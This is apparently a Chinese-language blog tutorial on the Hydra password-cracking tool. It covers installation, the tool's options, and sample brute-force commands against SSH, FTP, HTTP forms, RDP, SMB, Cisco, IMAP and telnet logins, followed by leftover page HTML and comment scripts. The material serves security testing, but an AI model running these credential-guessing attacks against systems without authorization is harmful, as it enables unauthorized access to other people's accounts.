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2014年(58)

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分类: LINUX

2014-12-02 18:44:02

一、简介

hydra

Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.

Currently this tool supports: 
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.

This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.

The program is maintained by van Hauser and David Maciejak.

The Hackers Choice 

二、安装

1、安装相关依赖包

  • Ubuntu/Debian
apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev hydra

  Debian和Ubuntu发行版,源里自带hydra,直接用apt-get在线安装。

  • Redhat/Fedora
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
  • OpenSuSE
zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

本实验用的是 CentOS release 5.6 (Final),执行yum install 后相关依赖包安装情况如下:

2、Hydra 安装

# wget 
# tar zxvf hydra-7.4.1.tar.gz
# cd hydra-7.4.1
# ./configure 
# make && make install

# ./configure 会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包。

# make

# make install

三、Syntax

# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R
继续从上一次进度接着破解

-S
大写,采用SSL链接

-s
小写,可通过这个参数指定非默认端口

-l
指定破解的用户,对特定用户破解

-L
指定用户名字典

-p
小写,指定密码破解,少用,一般是采用密码字典

-P
大写,指定密码字典

-e
可选选项,n:空密码试探,s:使用指定用户和密码试探

-C
使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数

-M
指定目标列表文件一行一条

-o
指定结果输出文件

-f
在使用-M参数以后,找到第一对登录名或者密码的时候中止破解

-t
同时运行的线程数,默认为16

-w
设置最大超时的时间,单位秒,默认是30s

-v / -V
显示详细过程

server
目标ip

service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT
可选项

四、实例

1、手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。 

2、破解ssh:

# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh

破解成功,直接显示结果。

也可以使用 -o 选项指定结果输出文件。

# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh

五、其他类型密码破解

  • 破解ftp:
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
  • get方式提交,破解web登录:
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
  • post方式提交,破解web登录:

  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:





  假设有以上一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido

  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。 </p> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解https: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解teamspeak: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解cisco: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra -P pass.txt 10.36.16.18 cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解smb: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra -l administrator -P pass.txt 10.36.16.18 smb</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解pop3: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra -l muts -P pass.txt my.pop3.mail pop3</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解rdp: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra ip rdp -l administrator -P pass.txt -V</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解http-proxy: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra -l admin -P pass.txt http-proxy://10.36.16.18</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解imap: </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</pre> </div> <ul style="margin:0px 0px 0px 45px;padding:0px;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <li style="margin:0px;padding:0px;list-style:inherit !important;"> 破解telnet </li> </ul> <div class="cnblogs_code" style="margin:5px 0px;padding:5px;background-color:#F5F5F5;border:1px solid #CCCCCC;overflow:auto;color:#333333;white-space:normal;font-family:'Courier New' !important;"> <pre style="margin-top:0px;margin-bottom:0px;padding:0px;white-space:pre-wrap;font-family:'Courier New' !important;"># hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V</pre> </div> <p style="margin:10px auto;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> <span style="margin:0px;padding:0px;color:#800000;font-size:16px;"><strong style="margin:0px;padding:0px;">六、总结</strong></span> </p> <p style="margin:10px auto;color:#333333;font-family:verdana, Arial, Helvetica, sans-serif;font-size:14px;line-height:25px;white-space:normal;background-color:#FFFFFF;"> 此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果。 </p> </div> <!-- <div class="Blog_con3_1">管理员在2009年8月13日编辑了该文章文章。</div> --> <div class="Blog_con2_1 Blog_con3_2"> <div> <!--<img src="/image/default/tu_8.png">--> <!-- JiaThis Button BEGIN --> <div class="bdsharebuttonbox"><A class=bds_more href="#" data-cmd="more"></A><A class=bds_qzone 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{expires: 30 , path: '/'}); } showSucceedMsg('谢谢' , '消息提示'); } else if(msg.error == 1) { //showErrorMsg(msg.error_content , '消息提示'); showErrorMsg('操作失败,您需要先登录!', '消息提示', 'http://account.chinaunix.net/login'); } else if(msg.error == 2) { showErrorMsg(msg.error_content , '消息提示'); } } }); }); //举报弹出层 /*$('.box_report').live('click' , function(){ if(isOnLine == '' ) { //showErrorMsg('登录之后才能进行此操作' , '消息提示'); showErrorMsg('操作失败,您需要先登录!', '消息提示', 'http://account.chinaunix.net/login'); return false; } var url = $('#report_url').val(); var cid = $(this).attr('cid'); $.cover(false); asyncbox.open({ id : 'report_thickbox', url : url, title : '举报违规', width : 378, height : 240, scroll : 'no', data : { 'cid' : cid, 'idtype' : 2 }, callback : function(action){ if(action == 'close'){ $.cover(false); } } }); });*/ //评论相关代码 //点击回复显示评论框 $('.Blog_a10').live('click' , function(){ if(isOnLine == '' ) { //showErrorMsg('登录之后才能进行此操作' , '消息提示'); showErrorMsg('操作失败,您需要先登录!', '消息提示', 'http://account.chinaunix.net/login'); return false; } if(allowComment == 1) { showErrorMsg('该博文不允许评论' , '消息提示'); return false; } var tid = $(this).attr('toid');//留言作者id var bid = $(this).attr('bid');//blogid var cid = $(this).attr('cid');//留言id var tname = $(this).attr('tname'); var tpl = '<div class="Blog_right1_9">'; tpl += '<div class="div2">'; tpl += '<textarea name="" cols="" rows="" class="Blog_ar1_1" id="rmsg">文明上网,理性发言...</textarea>'; tpl += '</div>'; tpl += '<div class="div3">'; tpl += '<div class="div3_2"><a href="javascript:void(0);" class="Blog_a11" id="quota_sbumit" url="/Comment/PostComment.html" tid="'+tid+'" bid="'+bid+'" cid="'+cid+'" tname="'+tname+'" ></a><a href="javascript:void(0)" id="qx_comment" class="Blog_a12"></a></div>'; tpl += '<div class="div3_1"><a href="javascript:void(0);" id="mface"><span></span>表情</a></div>'; tpl += '<div class="clear"></div>'; tpl += '</div>'; tpl += '</div>'; $('.z_move_comment').html(''); $(this).parents('.Blog_right1_8').find('.z_move_comment').html(tpl).show(); }); //引用的评论提交 $('#quota_sbumit').live('click' , function(){ if(isOnLine == '' ) { //showErrorMsg('登录之后才能进行此操作' , '消息提示'); showErrorMsg('操作失败,您需要先登录!', '消息提示', 'http://account.chinaunix.net/login'); return false; } var bid = $(this).attr('bid'); var tid = $(this).attr('tid');//被引用人的id var qid = $(this).attr('cid');//引用的id var url = $(this).attr('url'); var text = $('#rmsg').val(); var tname = $(this).attr('tname'); if(text == '' || text=='文明上网,理性发言...') { showErrorMsg('评论内容不能为空!' , '消息提示'); return false; } else { if(mb_strlen(text) > 1000){ showErrorMsg('评论内容不能超过500个汉字' , '消息提示'); return false; } } $.ajax({ type: "post", url: url , data: {'bid': bid , 'to' : tid , 'qid' : qid , 'text': text , 'tname' : tname }, dataType: 'json', success: function(data){ if(data.code == 1){ var tpl = '<div class="Blog_right1_8">'; tpl+= '<div class="Blog_right_img1"><a href="' +data.info.url+ '" >' + data.info.header + '</a></div>'; tpl+= '<div class="Blog_right_font1">'; tpl+= '<p class="Blog_p5"><span><a href="' +data.info.url+ '" >' + data.info.username + '</a></span>' + data.info.dateline + '</p>'; tpl+= '<p class="Blog_p7"><a href="' + data.info.quota.url + '">' + data.info.quota.username + '</a>:'+ data.info.quota.content + '</p>'; tpl+= '<p class="Blog_p8">' + data.info.content + '</p><span class="span_text1"><a href="javascript:void(0);" class="Blog_a10" toid=' + data.info.fuid + ' bid=' + data.info.bid + ' cid=' + data.info.cid + ' tname = ' + data.info.username + ' >回复</a> |  <a class="comment_del_mark" style="cursor:pointer" url="' + data.info.delurl + '" >删除</a> |  <a href="javascript:showJuBao(\'/blog/ViewReport.html\','+data.info.cid+')" class="box_report" cid="' + data.info.cid + '" >举报</a></span></div>'; tpl+= '<div class="z_move_comment" style="display:none"></div>'; tpl+= '<div class="Blog_line1"></div></div>'; $('#replyList .Blog_right1_8:first').before(tpl); $('.z_move_comment').html('').hide(); } else if(data.code == -1){ //showErrorMsg(data.info , '消息提示'); showErrorMsg('操作失败,您需要先登录!', '消息提示', 'http://account.chinaunix.net/login'); } }, error: function(){//请求出错处理 } }); }); //底部发表评论 $('#submitmsg').click(function(){ if(allowComment == 1) { showErrorMsg('该博文不允许评论' , '消息提示'); return false; } var bid = $(this).attr('bid'); var toid = $(this).attr('toid'); var text = $('#reply').val(); var url = $(this).attr('url'); if(text == '' || text=='文明上网,理性发言...') { showErrorMsg('评论内容不能为空!' , '消息提示'); return false; } else { if(mb_strlen(text) > 1000){ showErrorMsg('评论内容不能超过500个汉字' , '消息提示'); return false; } } $.ajax({ type: "post", url: url , data: {'bid': bid , 'to' : toid ,'text': text}, dataType: 'json', success: function(data){ if(data.code == 1) { var tpl = '<div class="Blog_right1_8">'; tpl += '<div class="Blog_right_img1"><a href="' +data.info.url+ '" >' + data.info.header + '</a></div>'; tpl += '<div class="Blog_right_font1">'; tpl += '<p class="Blog_p5"><span><a href="' +data.info.url+ '" >' + data.info.username + '</a></span>' + data.info.dateline + '</p>'; tpl += '<p class="Blog_p6">' + data.info.content + '</p>'; tpl += '<div class="div1"><a href="javascript:void(0);" class="Blog_a10" toid=' + data.info.fuid + ' bid=' + data.info.bid + ' cid=' + data.info.cid + '>回复</a> |  <a class="comment_del_mark" style="cursor:pointer" url="' + data.info.delurl + '">删除</a> |  <a href="javascript:showJuBao(\'/blog/ViewReport.html\','+data.info.cid+')" class="box_report" cid="' + data.info.cid + '">举报</a></div>'; tpl += '<div class="z_move_comment" style="display:none"></div>'; tpl += '</div><div class="Blog_line1"></div></div>'; $('.Blog_tit3:first').after(tpl); $('#reply').val('文明上网,理性发言...'); } else if(data.code == -1) { showErrorMsg(data.info , '消息提示'); } }, error: function(){//请求出错处理 } }); }); //底部评论重置 $('#reset_comment').click(function(){ $('#reply').val('文明上网,理性发言...'); }); //取消回复 $('#qx_comment').live('click' , function(){ $('.z_move_comment').html('').hide(); }); $('#rmsg, #reply').live({ focus:function(){ if($(this).val() == '文明上网,理性发言...'){ $(this).val(''); } }, blur:function(){ if($(this).val() == ''){ $(this).val('文明上网,理性发言...'); } } }); //删除留言确认 $('.comment_del_mark').live('click' , function(){ var url = $(this).attr('url'); asyncbox.confirm('删除留言','确认', function(action){ if(action == 'ok') { location.href = url; } }); }); //删除时间确认 $('.del_article_id').click(function(){ var delurl = $(this).attr('delurl'); asyncbox.confirm('删除文章','确认', function(action){ if(action == 'ok') { location.href = delurl; } }); }); /* //字数限制 $('#rmsg, #reply').live('keyup', function(){ var id = $(this).attr('id'); var left = Util.calWbText($(this).val(), 500); var eid = '#errmsg'; if(id == 'reply') eid = '#rerrmsg'; if (left >= 0) $(eid).html('您还可以输入<span>' + left + '</span>字'); else $(eid).html('<font color="red">您已超出<span>' + Math.abs(left) + '</span>字 </font>'); }); */ //加载表情 $('#face').qqFace({id : 'facebox1', assign : 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